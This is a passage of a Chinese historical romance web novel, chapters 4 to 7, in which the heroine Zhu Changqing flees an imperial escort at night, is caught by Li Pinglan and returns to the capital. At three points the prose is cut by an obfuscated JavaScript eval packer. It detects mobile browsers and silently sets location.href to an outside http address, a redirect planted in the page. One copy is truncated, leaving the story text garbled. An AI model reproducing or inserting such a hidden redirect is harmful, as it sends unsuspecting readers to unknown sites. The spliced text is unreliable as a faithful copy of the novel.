“我家中已无人，去哪都一样，招安了倒还能吃官家俸禄，不用担心随时会掉脑袋，但妹子，军中许多兄弟在蜀平上有老下有小，我若是要走，他们可怎么办？” 祝常青为此早做好了筹划，条理清晰道：“愿意上京者编入朝廷军队，温饱不成问题，说不准以后还能立功得赏。想留在蜀平者也不必强求，你将仓中余粮分出去，助他们暂时度过难关。” “今日在我身边的两位大人都是朝廷命官，特来查办蜀平粮荒之事，蜀平百姓们很快就能摆脱这种苦日子了。” “真的？” 吴双惊起，瞪大双眼，眸中竟好似泛起泪光，追着她问：“你说的可是真的？那两位大人真能抓了那些狗官？” “不敢骗兄长。” 祝常青垂眸，端正回话，心中却咂不出是何滋味。 她想起五年前的寒冬，两人曾靠坐在一片荒地上，一旁的地下刚埋葬了她的母亲和他的幼妹。 吴双那时刚过弱冠之年，也是这样眼中蓄泪，说自己甚至不知道，妹妹究竟是病死的还是饿死的。 “太好了，只要能杀了那帮畜生，让我做什么我都愿意。” 说完此话，心有灵犀的，吴双似乎也想起了旧事，语气忽然弱下去：“对了，可要去你母亲的坟地看看？” 祝常青恍然愣了很久。 她有一瞬甚至分不清，眼前那母亲阖着眼的苍白面容，到底是她的幻想还是当下的现实。 “不必。”她平静道，“我另有一事想求兄长帮忙。” “只要你开口，兄长一定帮你。” “我不想随你们回京，我要逃回陵江。” 吴双被她的话吓了一跳，但也没问缘由，反倒认真思考起来：“可我军中并无马车，蜀平到陵江的距离不算近，你要如何回去，总不能徒步吧？” “我会骑马。” 祝常青神色格外坚定，在吴双诧异的目光中，将自己的计划全盘托出。 - 掐着半个时辰的时限，祝常青离开了吴双的军营。 日落西山，天色昏黄，远远就瞧见两个背影。 刘广石微躬着背，态度低微，向身旁人喋喋不休地说着什么。 李凭栏则负手而立，身姿卓然，不知听进去了几分。 她快步上前，朝两人见礼。 刘广石似乎很不满被人打断，将背不动声色地挺直了，双臂抱胸，不耐地看了她一眼。 李凭栏见人回来，便不作停留，边往军营中走边问：“谈得如何？” 祝常青跟在他身侧，如实道：“义兄同意了。” 李凭栏尚未说什么，刘广石就迫不及待地发表意见：“那个死脑经！早这样不就好了？” 祝常青默了默，踢走脚下一粒石子，她的话都是讲给李凭栏听的： “义兄需要一日的时间重整军队，只留下自愿随他入京的，后日清晨即可出发。” “不行！”刘广石愤然拒绝，“士兵一个也不能少！” 然决定权并不在这个武夫手里，祝常青不欲与他多费口舌，只淡淡回道： “刘大人，所谓好将胜千兵。” 刘广石闻言大怒，总觉得这话里有羞辱自己的意味在。 论官职，他是从五品卫镇抚，论身份，他压根看不起祝常青这个罪臣之后，岂容她这般和自己说话，气得急赤白脸： “放肆！一介女流也敢妄言？本将说什么你照做便是！” 祝常青早些年是见惯京中权臣的，刘将军的呵斥于她而言并无半分威慑，但自知身份不比从前，遂不想开罪了他，正要换副谦卑些的说辞。 却听。 “放肆。” 李凭栏淡漠的音色里透着叫人胆颤的冷厉。 同样两个字，分量却是天差地别。 刘广石吓得只觉全身的血液都凝住了，登时噤若寒蝉。 李凭栏已忍他多时：“刘将军本事不大，口气倒是不小，此地可有你说话的份。” 两声清脆的掌掴，竟是刘广石毫不犹豫地自扇嘴巴，哆嗦道：“下官知错，下官知错！” 李凭栏不为所动：“陛下亲派的招安使也敢拂逆，你是长了几颗脑袋？” 刘广石出了一脑门的冷汗，双腿发软，恨不得直接跪倒在两人面前：“祝娘子，是小人猪油蒙了心，多有得罪，还请您大人有大量……” “刘大人言重。” 祝常青还是头一回见如此能屈能伸的武将。 李凭栏仗着身份把人吓唬了一番，祝常青却不好狐假虎威，一句话就将此事揭过，配合着演了出高高拿起轻轻放下。 成效颇丰。 回去的一路，刘广石果然不敢再多说半个字。 到了军中，杜宸安已等候多时。 四人最终商定后日辰时出发，刘广石和吴双率兵快马先行，他们三人照旧马车赶路。 - 翌日。 祝常青心中藏着事，卯时刚至就悠悠转醒，躺在特意为她腾出来的军帐中，辗转反侧。 李凭栏和杜宸安一大早就离了军，想是去查办州府官员了。 刘广石殷勤地来了她帐中问候两回，俨然将她也当作一尊活菩萨供着。 祝常青问他两位大人何时能回，刘广石一脸为难地说不知。 只好等着。 等到正午时分，等到夜幕低垂。 等得她心急如焚，几乎草木皆兵。 外头但凡有半点动静，都会惹得她急匆匆走出军帐，抓着路过的士兵问：“可是大人回来了？” 然而得到的回应无一不是茫然的摇头。 眼下就连亥时都过去大半，夜彻底深了。 兴许今夜他们二人就不回来了，祝常青想，反正她是不能再等下去了。 思及此，她吹灭案上油灯，干脆地走出帐外，却不料迎面撞上一个朝她跑来的士兵。 那士兵激动道：“祝小娘子，我正要找你呢，李大人和杜大人回来了！” 祝常青顿时大喜过望，提了衣裙，足下生风地往士兵所指的方向走去。 毕竟是去拿人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438677|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办案，李凭栏今日穿了官服，大红的绯袍在夜色中像团烈烈暗火，见到大步流星走来的祝常青，他意外道：“还未安置？” 祝常青气都没喘匀，声音虚浮：“等你们回来才能睡得安心，大人办事可还顺利？” 李凭栏腹诽，才一日未见，这姑娘怎么跟转了性似的，竟关心起他了。 难道是明日就能回京，一切尘埃落地，其言也善？ 他还是狐疑地多打量了她两眼，轻“嗯”一声。 祝常青又问：“杜宸安呢，怎么不见他？” “安顿嫌犯去了。”李凭栏道，“我还有要事同刘广石商议，你先回帐吧。” 祝常青福身称是，果断转身离开，等彻底走出李凭栏的视野，她脚下方向一变，朝吴双的军营疾步而去。 两军交界线处，对面已无人把守，朝廷军队倒还安排了士兵轮值交班。 祝常青身为两军中唯一的女子，自然是无人不识。 “祝小娘子可是要去找义兄？”看守的士兵根本毫无防备，笑嘻嘻地同她闲聊。 祝常青也笑道：“正是，我刚从李大人那儿得了准许。” “记得早点回来歇息，明日可不要睡过头喽！” 她怔了半瞬，温和地道好，顺利进了对面军营，轻车熟路地找到昨日的军帐，吴双已经在那儿拎着个包袱等她了。 今夜，是祝常青逃离的唯一机会。 她进帐中迅速换了身男装，跟着吴双一路往西南走，直到驻守的最边界。 再往外，地势复杂，草地山林，一望无际。 吴双牵来一匹骏马，摸着它的鬃毛道：“这马极有灵性，能识路，你想去哪告诉它一声就行。” 祝常青没心情去确认他是否在说笑，走到他身边，接过包裹，毫不犹豫地翻身上马。 月色如银，老天还是眷顾她了，令她得以在夜中视物。 吴双将缰绳交到她手中。 他们才重逢两日，都还来不及多说几句话，就又要分别，他一向不善言辞，只能拍拍马背：“妹子，保重。” 祝常青勒住马，望向没有尽头的前路一眼，回头叮嘱他：“兄长，京城诡谲，少说话莫生事，不求功名但求平安，杜宸安是我信得过的好友，若遇到困难，万事皆可找他帮忙。” “还有，蜀川的那些贪官已经被两位大人缉拿，待到京城后必会细细审问，你且安心。” 初春的寒风穿过草地，吹在她单薄的衣襟上。 远方在她眼前是苍茫的未知。 更令人绝望的是，在这个没有回头路的寂静悬崖边上，她幡然顿悟： 自己是否在用亲人的自由换取自己的自由。 她决定跋涉千山万水回陵江的同时，吴双却要在破晓后诀别蜀平。 “哪有妹子替大哥操心的道理！”吴双爽朗地笑起来，一掌拍在马臀上。 骏马长啸一声，奔腾而去。 祝常青死死攥着缰绳，两腿夹紧马腹。 呼啸的冷风把她的面孔都要吹僵了，她俯下身，脑中再没有别的念头。 只想着：那就跑吧，快些跑。 半个时辰后，李凭栏从刘广石的帐中出来。 正值交界处守卫的替岗时间，方才与祝常青说过话的士兵打着哈欠，往集体帐篷处走，见了李凭栏，恭敬抱拳行礼。 “吴双军营可有异动？”李凭栏随口问道。 “回大人，一切正常。” 想到明日就能归家，同媳妇孩子团圆，士兵不由欣喜地多说了两句：“真是多亏了祝小娘子，若不是她，不知道这仗还得打到什么时候。” 言毕又想起什么，低声喃喃道：“对了，祝小娘子怎么还未回营，难不成在她义兄那儿睡下了？” 李凭栏离开的脚步一顿，面色霎时沉下来。 “你说什么？” 5. 第五章 子时四刻，李凭栏闯入了起义兵军营。 说闯也不尽然，毕竟对方大门敞开，无人把守，算是光明正大走进去的。 他带的人不多，又是深夜时分，只吵醒了几个眠浅的士兵。 “大人，这么晚了，有啥事吗？” 春夜湿冷，出来查看的农民兵只披了件单衣，缩头缩脑地问。 刘广石在旁边高举火把，观察着一言不发的李凭栏。 他虽不知具体发生了什么事，但能看出世子的脸色前所未有的差，只想赶紧找个冤大头来承受这份怒火，呵斥道：“吴双呢？叫他滚出来！” 岂料那士兵也是个有脾气的，先前的好言好语只是对着李凭栏，见刘广石如此出言不逊，挺直腰板骂了回去：“呸，你算个什么东西！我们老大可没你这么闲，早熄灯睡下了！” 刘广石被下了面子，方要发作，却见军帐后头绕出了一个身材高大的男子。 吴双穿戴齐整，看样子仿佛刚从别处回来，显然不是士兵口中的“早熄灯睡下”。 他面色凝重，每一步迈得格外稳，走到自己的军帐前便停住，抬眼道：“大人，您找我？” 李凭栏开门见山地问：“祝常青呢？” 他的声音里有冰冷的怒意，在场之人个个噤若寒蝉，大气儿都不敢出。 吴双却不是这么容易被吓破胆的，淡定答复：“义妹与我许久未见，叙旧忘了时辰，干脆在我帐中歇息了，大人有什么事不如明日再说吧。” 李凭栏不耐地眯起了眼。 荒唐。 两军之间不过一线之隔，难道累到连这数余步的距离都走不动，放着特意给她腾出来的军帐不住，非要歇在自己义兄住过的帐篷里不成？ 况且，有什么旧是一整个白日里都不能叙的，非要等到睡前确认他回来了之后，才巴巴地赶来讲。 月明星稀，不见层云。 面前人是铁了心地要欺瞒拖延。 然李凭栏眼下实在没闲心陪他周旋，沉渊般的目光越过吴双肩头，落在那顶悄无声息的军帐上。 “叫她出来。”他下了最后通牒。 吴双将手中的刀柄握得更紧，似乎是想斩断所有投来的视线，他字字铿锵：“大人，我说了，义妹已经睡下……” “反了你了！” 吴双话音未落，刘广石便横眉怒目地冲了上去，想要直接进帐确认。 吴双反应极快地抽刀，横在两人中间，怫然喝道：“你敢！” 刀剑相抵，谁都不甘示弱，眼中怒火烧成一片，恨不得将对方碎尸万段。 两军首领都打到一块儿了，双方士兵忙不迭地跟着抽出兵器，一时间，气氛变得剑拔弩张。 “刘将军。” 李凭栏在此时漠然出声，将一众刀光剑影都压了下去，他朝辽远的西南望去一眼，淡淡道：“备马吧。” 刘广石领了命，就跟有了人撑腰似的，一刻也不敢耽搁，转身前狠狠瞪了吴双一眼，利索地跑回自家军营去了。 吴双尚未喘口气，就见李凭栏负手走近，他顿时汗如雨下。 在他眼里，刘广石顶破天不过是个吃干饭的草包将军，一向不足为惧。 但不知为何，面对这位京城里来的刑官，总有一份天然的威压施在他头顶。 “祝常青去哪了？”李凭栏冷声问。 他是刑部侍郎，整日里干的都是上刑审问的脏活，再平常的问句从他嘴里波澜不惊地过一遍，就足以叫人不寒而栗。 吴双是个硬骨头，一口咬定：“义妹在帐中歇息。” 李凭栏却好似没听见一般，他想起来时的马车上，祝常青因走神而留在图纸上的几道痕迹，自顾自呢喃起来：“往西南方向走……” 吴双闻言脸色一白，不远处恰好传来一串马蹄声。 是刘广石牵着马回来了。 “我奉劝你一句。” 李凭栏看向预料之中即将抽刀拦他的吴双：“祝常青离开不过半个时辰，即便是有八匹马拉着她也跑不了多远，人本官是一定会找到的。” “若你不加阻拦，她仍有功在身，回京后无人会提起今夜之事，一切周全。但倘若你执意要与本官作对，那她就是招安不利，畏罪潜逃，抗旨，是要砍头的。” 吴双脑筋转不过来，听得一愣一愣的，只觉得这番话十分有道理。 一时间竟真的不敢轻举妄动，纠结地看着李凭栏同刘广石吩咐了几句，随后撩袍上马，甩缰挥鞭，一气呵成。 - 她跑了多久了？ 祝常青伏在马背上，昏昏沉沉地想，应该有一个多时辰了。 按照最有利的情况算，李凭栏须得辰时才会发现她已不见踪影。 而她是子时出发，一刻不停地跑，差不多能跑三四个时辰，到时候她早就离开蜀川了吧。 可她实在太困了。 昨日卯时起身，到现在未能合眼半刻。 就连自己正在逃命的事实也无法让她清醒，她的马术不精，好几次都差点从马背上掉下去。 没法子，只能把缰绳缠到腕上。 悬梁刺股似的，但凡她困得意识不清，身形不稳，手腕就会被狠狠扯住，用疼痛刺激自己。 清醒时，面前是无边无垠的荒原，抬眼望去，只剩满目墨色。 分不清方向，找不到来路，她觉得自己像是一叶在大海上漂泊的孤舟。 行差踏错半分就会覆舟溺毙，万劫不复。 但与回到葬送了自己全家的京城相比，即便是行走在这样前途未卜的道路上，她的内心也充满希望得多。 万籁俱寂中，她耳廓微动，身后似传来另一种频率的马蹄声。 祝常青起先以为是自己困出了幻觉，一个激灵清醒过来，屏息分辨。 然而清脆的声响越靠越近，不容忽视地长久回荡在耳畔，她的神经逐渐紧绷。 那马蹄声虽十分急促，但也单薄，估摸着只有一人，所以不是山贼土匪，只能是朝廷派来的追兵。 祝常青心已经凉了大半截，却不敢有半分松懈，手臂往里收了收，缰绳拉紧，然后抬起腕子奋力一甩，马儿吃痛嘶鸣，狂奔向前。 身后人自知打草惊蛇，于是不再掩盖动静，马鞭挥得霹雳作响，袭来之势排山倒海。 祝常青的马术远不及那人，即便冒进地加了好几次速，不消半刻，另一个驭马之人就已经和她并肩。 她余光瞥去一眼，心中最后的一点儿妄想也碎了个干净。 李凭栏换掉了官服，此刻一身月白锦袍，衣袂翩飞，腰侧佩剑。 乍一眼，比天边明月还要光彩照人。 “停下。”他冷冷道。 祝常青全当自己是个聋子，面不改色地把缰绳攥得更紧，试图将人甩开。 当然，这是天方夜谭。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438678|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李凭栏见她顽固，一手策马，一手握上佩剑，毫不留情地威胁：“再不停下，我就斩了你的马。” 彻底穷途末路。 一股深深的无力感涌上祝常青心头，她缓慢地直起身子，松开手，马儿便停下脚步，原地徘徊。 李凭栏驾马至她面前，阻断了她的去路。 终究还是逃不过吗。 祝常青讷讷地怔了几息，随后垂眸解开绑在左手手腕上的缰绳。 麻绳粗粝，被这么磨了许多时辰，一大片肌肤都已是血肉模糊，细碎的杂质掺黏在血肉里，眼下没法处理。 她不想再骑于马上片刻，撑着一侧的手艰难翻身下马，等双脚踩在泥土上时，才终于有了踏实的感觉。 不管怎么说，总算是不用再担心随时会落马而亡了。 明月高悬，将祝常青的脸庞映得如琉璃般剔透，她作男子装扮，布衫束发，身影单薄，站在猎猎寒风中，倒真有几分遗世独立，光风霁月的意味。 李凭栏居高临下地看着，不懂这世上怎会有如此女子。 珠玉之貌，顽石其心。 ——皇命在身，罪女若是逃，岂不是找死？ 李凭栏由记得，她在马车上看着自己说出这句话时的惶恐。 他不是没有怀疑过，只是没料到她真的胆大妄为到转头就敢找死。 “世子，这事儿还有商量的余地吗？”祝常青牵着马，后知后觉地有些不甘心，毕竟她都已经跑出那么远了。 “有。” 李凭栏淡漠的声音从头顶被风吹来。 祝常青以为自己听岔了，错愕地抬起眼。 却见他抽出利剑，“哐当”一声扔在她脚边，语气冰冷： “要么，跟本官回京，要么，死。” 原来是这么个商量。 祝常青长长叹出一口气，无助地眺望着她再也达不到的远方。 须臾后，弯腰拾起了那把剑。 李凭栏的脸色瞬间变得很难看。 好在下一秒，又是“哐当”一声，祝常青将它扔得更远了些。 就在抉择之间，她忽然想起吴双曾说过，身侧这匹马似乎有识路之灵。 她眸色亮了亮，对马驹附耳轻声道：“去陵江吧，然后再回你的家。” 一掌落下，骏马奔腾。 掀起一阵风后就不见了踪影。 李凭栏立于高马之上，无奈地问她：“把马放跑了，你要怎么回去？” 祝常青本就是被迫回程，故意找些麻烦也在情理之中，无所谓道：“回世子，罪女打算走着回去。” 顽石。 李凭栏闭了闭眼，在心中又骂一遍。 兴许是他前二十一年的人生过得太顺遂，养尊处优，锦衣玉食，官场得意，遭人艳羡。 老天看不过眼，才往他脑门上丢来了这么一块臭石头，叫他也要尝一尝无可奈何是何种滋味。 祝常青言毕，十分自觉地负手转身，学着京中高官的样子大摇大摆地走起来。 可尚未走出两米远，身后就又响起一阵马蹄声，只觉耳边狂风掀过。 她的腰上霎时揽了一条有力的臂膀，手掌握在腰侧，往上利落托起，她便失去了对身体的掌控。 天旋地转间，祝常青还没来得及尖叫出声。 眨眼的功夫，眼前景象再次平稳，而她已经被抱着，稳稳当当地坐在马背上了。 6. 第六章 虽说祝常青是戴罪之身，颇有几分生前哪管身后名的坦荡架势，但流放五年来，除了为生计所迫时常抛头露面外，也没什么别的机会离经逾矩，仍是兢兢业业守着闺阁女子本分。 眼下就这么被外男抱着同乘一匹马，还是觉得十分不适应，偏生又不敢乱动，怕真惹恼了身后的世子爷，二话不说把她丢下马去。 倘若摔死在这段回程路上，那可算是亏得血本无归。 人在屋檐下，哪有不低头。 她有些后悔方才头脑一热把马放跑了。 “对了大人，您的佩剑……”祝常青忽然想起方才那柄被自己随手抛弃的兵器，作势回头看去。 然而受身形所限，艰难扭头，余光里却有大半是李凭栏的肩头。 耳边很轻地响起一声“啧”，近得仿佛能牵动她的几缕青丝：“那是我从军中随手掳来的破损兵器，你想要回去多的是。” 祝常青难以置信地抬起头，带着被小瞧的怒意，质问道：“你带了一把破剑，就说要斩我的马？” 李凭栏没觉得有什么问题，抽出空往下睨了她一眼，只看到一个光洁的额头：“你以为我不能？” 轻狂至此。 祝常青撇了撇嘴，心道：刚刚看他往自己脚边丢剑的气势，枉她还以为那是什么神兵利器。 迎面扑来的风又疾又冷，眼睛被吹得生疼，她心中郁闷，索性闭上双目。 满世界只剩耳边一串接着一串的马蹄声，催得人昏昏欲睡。 心里不再挂念着逃命，睡意更是势不可挡，朦胧间，她撑着最后的意识问：“大人，我前两日砸的是你哪边的肩膀来着？” 自己的命都还捏在别人手里，却偏要哪壶不开提哪壶，李凭栏真想问问她是否当真嫌命太长。 他语气不虞：“未伤着我。” “那就好。”祝常青已没什么力气说话，这一句轻得像是虫鸣，瞬间飘散在风中。 她全身卸了力，后脑抵住李凭栏肩头，左手安然地在怀里放好，是个稳妥的睡姿。 李凭栏却因为这突如其来的依偎惊得额角一跳，身子僵直，拧眉道：“不准睡。” 祝常青哪里会听，装聋几秒后就已约会周公了。 - “杜大人，并非下官有心为难您，实在是李大人离开前千叮咛万嘱咐，叫您务必待在军中坐镇，若辰时他还未归，就得由您率军回京。” 刘广石是个捧高踩低惯了的，虽说论品级，杜宸安的官职只比他高了半阶，但奈何人家有个做尚书的爹，在朝中为官，何人不知堂堂杜氏。 于是面对杜宸安也要备马去追人的要求，他一面暗暗搬出李凭栏好言相劝，一面端茶倒水表示歉疚，哪方都不想开罪。 方听闻祝常青不在军营中的消息，杜宸安立马就猜到她肯定是逃了，急火攻心，连灌好几杯冷茶下肚。 心中恨恨，怎么也不跟自己说一声！ 他这头正焦躁不安着，一抬眼，却见刘广石堆着张笑脸，一派和气的样子，更觉火上浇油。 遂一挥袖，忍着怒气道：“知道了，你先歇息吧，本官回自己帐中了。” 刘广石早就困倦，乐得其成，殷勤地行了个大礼同他道别。 暮色浓重，回到帐中的杜宸安心绪如何也安宁不下来。 祝常青的性子他清楚，自小就乖张，作为京中贵女还养在闺阁中时便以容貌扬名，但鲜少有人知道她的秉性。 高门大户里出来的姑娘，挨过的手板却比他一个男娃都多。 他幼时常去祝府拜访，三天两头就能看到祝常青跪在院子里，两只通红的手心藏在身后，犟着脾气一言不发，祝尚书则拿着戒尺站在一旁，气得吹胡子瞪眼。 吓得杜宸安以为她闯下了什么滔天大祸，撩起袍子就跪到她身旁，声声恳切地求祝尚书原谅。 可最后若说祝常青到底犯了什么错，问来问去也左不过是她今日死活不肯练字或练琴罢了。 杜宸安看着她往手心里抹药，骂她做事怎么如此一根筋，便是觉得疲累，稍稍敷衍把任务完成即可，何必跟父母呛声过不去呢，祝常青闻言不高兴地瞥他一眼，将脸扭开了。 自那时杜宸安就明白，祝常青这人天生骨头硬，她要是想做什么，别说祝尚书，天兵天将来了怕是都拦不住。 只是不知在陵江搓磨了这些年，她学没学会委曲求全的道理。 再者，李凭栏也不是个好脾气的主，两个人就这么碰上，说不准真要掐出个两败俱伤来。 杜宸安越想越心焦，偏偏还什么都做不了，只能叹着气在油灯前枯坐一夜。 直至旭日东升，辰时将至，回京的军队整装待发，他熬得两眼通红，绝望地思考回京后要如何复命才能掩盖祝常青的行径。 “杜大人！李大人跟祝娘子回来了！”外头连跪带爬地跑来个士兵，估计是刘广石派来给他报信的。 杜宸安火急火燎地起身，险些把面前的烛台给碰到，敛了宽袖，疾步往外走去。 那两人是从吴双军营里过来的，李凭栏牵着马，脸上倦色难掩，眼底一片乌青，世子殿下何曾这般狼狈过，身周气压低得吓人。 祝常青跟在一边，精神头看起来倒是不错，只不过垂在身侧的左手腕像是要断开一般。 杜宸安看得心惊肉跳，想上去问她是怎么伤的，又恼她什么事都不知会自己，于是硬生生地撇开头，先向李凭栏见了礼。 回京的时辰耽搁不起，李凭栏摆手命刘广石和吴双先带着军马启程，随后冷着脸叫祝常青回帐换衣服，让军医在她帐外等候。 待祝常青走了，李凭栏和杜宸安并肩站着，面色是一个比一个憔悴，也不知在想些什么。 “她这蠢计划你提前知道？”李凭栏侧目看向杜宸安，语气平淡地问。 一提到这个杜宸安就来气，连李凭栏都知道，她若是想逃，怎么着也该提前和自己通个气儿，就她像个二愣子似的，什么也不说，往义兄的军营里一钻，脚底抹油似的就没影了。 杜宸安没好气地回：“我要是知道的话，昨夜就该拉着你彻夜长谈，或者在府衙拿人时弄出点意外来，拖个一日半日，免得李大人您如此操劳。” “我想也是。”李凭栏哼笑一声。 军帐处传来动静，祝常青单手撩开帘子走出来，她换回了素色裙袍，左手手腕也已经缠上裹布，许是因为失血太多，整个人显得格外苍白，文弱地站在那儿，叫谁也想不到她会有抗旨私逃的胆量。 李凭栏只看了一眼，便转身上马：“回去不乘马车了，脚程快些，怕某些人又生出歹心。” 他这句话含沙射影，在场三个人心里都门清儿。 杜宸安诧异地皱眉，看了看李凭栏，又扭头看了看祝常青，一副欲言又止的模样。 祝常青知道他想说什么，也清楚他大抵是生了自己的气，存着缓和的念头，主动解释：“我会骑马了，在陵江学的。” 李凭栏觉得好笑，双眸里亮着流光似的神采，马儿被勒住缰绳，昂着头在原地打转了半圈，他回首反问杜宸安：“不然你以为她昨夜怎么逃的，靠着两条腿能让我追那么久？” 杜宸安一时无语，盯着李凭栏道：“她手上还有伤！” 祝常青刚跑了好几个时辰马，原本确实是不想再骑，但见杜宸安竟真的动怒，脑子一抽，忙道：“我无碍。” 却反遭杜宸安不悦地瞪了一眼，毫不留情地甩袖离开。 祝常青愣在原地，有些莫名，她自认为两番搭话都是在向杜宸安服软低头，怎么感觉效果适得其反，眼下也没了别的招，郁闷地走向士兵牵来的马。 见两人皆吃了瘪，李凭栏顿时心情大好，只觉得呼吸都顺畅了许多，勾着唇，紧跟在祝常青身后，扬鞭策马。 来时费了五天时间，回去只消三两日的功夫。 这期间， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438679|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝常青见缝插针地往杜宸安身边凑，为了让他消气几乎使出了浑身解数，然五年未见，杜宸安脾气见长，她死缠烂打了快两日，竟不见他露出半分好脸色。 “杜大人。”趁着队伍休整的时间，祝常青又上赶着去找杜宸安说话，“我水囊里的水喝完了，你的借我用用可好？” 杜宸安板着张脸，一言不发，放下自己的水囊就要走。 祝常青反应迅速地挡在他面前，装得神情委屈：“杜宸安，这件事是我做得不对，你莫要再同我置气了。” 杜宸安闻言深吸了两口气，仍是压不住心头怒意，质问她：“祝常青，你现在压根就不相信我，你觉得我不会帮你，所以才什么都不跟我说，是不是？” 祝常青无奈道：“我如何不信你，我若不信你，又岂会在回京第一晚就告诉你我要私逃的想法？” 杜宸安：“那你为何离开前不同我商量？” 祝常青叹了口气，煞有介事：“这事说起来还得怪李凭栏。” 杜宸安狐疑地看她：“又关李凭栏何事？” 祝常青一副“你且听我细细分析”的正经样：“你还记不记得我原本是想让你随便带一个三法司小吏同我南下？” 见杜宸安点头，她继续道：“若是只有你一人，我大可以一跑了之，你带着吴双和蜀平州府官员回去交差，就说我是趁你外出公办时偷溜的，圣上念你招安有功，看在杜尚书的面子上也不会说什么。” “但李凭栏一来，你若想帮我，免不了和他纠缠一番，眼看我偷逃了，这看管不力的罪名就到他头上了，万一他是个小心眼的，为了推脱罪责在御前狠狠告你一状，我可不敢保证皇帝到底会偏袒谁。” “害友人陷于如此境地的事，我做不到。” 杜宸安被她一通歪理绕得两眼发黑，气得干瞪眼：“若李凭栏真是那样的人，就算我不帮你，就凭你我的交情，难道他不能污蔑于我？！” 祝常青自知理亏，嘿嘿一笑糊弄过去：“时间紧急，事事周全便是难如登天，吴双是被招安回京，陛下要用他，就不会拿他怎么样，我也只敢拖他下水。” 这么两天下来，杜宸安的气实则早就消了，不过缺一个把事情摊开来讲明白的机会，如今一吐为快，些许变扭地软下态度，问她：“那你还打算逃吗？距离京城不过一日脚程了。” 祝常青抬头看了眼天，幽幽道：“你又不是没看见，李凭栏这两日盯我盯得简直比眼珠子还紧，我昨日起夜，刚走出帐篷就见外头有个人影，吓得我险些魂飞魄散，定睛一看，竟是李凭栏那厮大半夜不睡觉，在我帐外站班子！还威胁我一炷香时间不回来，他就亲自来找，简直丧心病狂。” 她故意说了些逗趣儿的话，杜宸安听得发笑，不过一会儿又黯然下来，发自真心地问：“你便这么不想回京城吗？” 祝常青没再打诨，实实在在地想了半天，发现自己居然想不出一条愿意回京的理由。 队伍的休整时间即将结束，马啼声陆陆续续响起，身边行过的长队撩起一阵微风。 祝常青的语气淡漠又哀愁：“我在京都享过荣华富贵，也在那儿死了父亲，丧家犬似的被一脚踢了出去。天子脚下，朝夕之间，便从天上云掉进地下泥，多吓人呢。” 杜宸安见她提起伤心事，心有不忍，但还是追问：“你就没想过替祝家洗刷了这冤屈吗？毕竟祝大人当年是被夺嫡之祸所殃及的，你此番回京戴罪立功……” 祝常青摇着头打断了他的话：“活着的人得有活着的活法，总念着逝去之事，就离死也不远了。” 仿佛是觉得此刻说这些有损自家士气，她话锋一转：“不过，既然有些事躲不掉，那我也只好认了。” 这话听起来底气不足，倒像是她在说服自己。 杜宸安看着利落上马的祝常青，感慨了一句：“你性子变了很多。” 风中只留下她很轻的一声：“是吗。” 7. 第七章 回京行的是官道，一路顺畅，未遇波折，连流民都不曾见到一二。 第三日卯时刚过，三人便至城门，城内的道路两旁各恭候着一列侍卫，中间遥遥立着一个老太监，不停往城外的方向张望，瞧见骑马靠近的人影，浑浊的双眼顿时亮起来。 “呦，这不是余公公吗。”李凭栏入城下了马，把手里的缰绳交给边上的侍卫，见那太监是个熟人，随口招呼。 余公公顺着他的话附和，笑着给三人见礼。 他是御前服侍的贴身太监，宦官里的大总管，在皇帝身边做事，虽是个阉人，地位却也不低，此刻殷切地抬着眉眼，手掌指向身后的三辆马车：“贵人们，陛下有旨要召见，请吧。” 祝常青多时没见着自己义兄，怕他不懂京城里的规矩，担忧道：“敢问公公，吴双他如何？” 余公公态度出乎意料地恭敬：“祝小娘子且安心，吴壮士早两刻进城，眼下估计正在卫所领差事呢！” 祝常青闻言谢过，正要走向马车，却被李凭栏伸手拦了拦，其余人皆意外地看向他。 李凭栏面不改色道：“毕竟是要进太和殿，我有几句话嘱咐她，你们先去。” 余公公自不敢置喙，迅速带着侍卫们退下，杜宸安在原地犹豫了一会儿，看神情似有疑虑，但最终还是没说什么，朝祝常青点了点头，先行上马车了。 等整条街巷空荡荡地只剩他们二人，祝常青抬头问：“世子有何吩咐？” 李凭栏不答反问：“陛下因何召你回京？” 祝常青感到莫名，如实道：“当然是命我招安吴双。” 李凭栏又问：“起义动乱，为何不直接镇压，反要让你一个罪臣之女戴罪立功？” 祝常青应答如流：“冯将军不在京城，朝中武将青黄不接，吴双有领兵之能，招安他大有裨益。” 言毕她又觉得李凭栏这话说得奇怪，正常来讲，“为何不直接镇压”后头难道不应该接“反要招安逆党”吗。 照眼下他这种说法，倒像是此番遭遇，招安吴双是小，让她戴罪立功是大。 这么想着，祝常青的眉头缓缓拧紧。 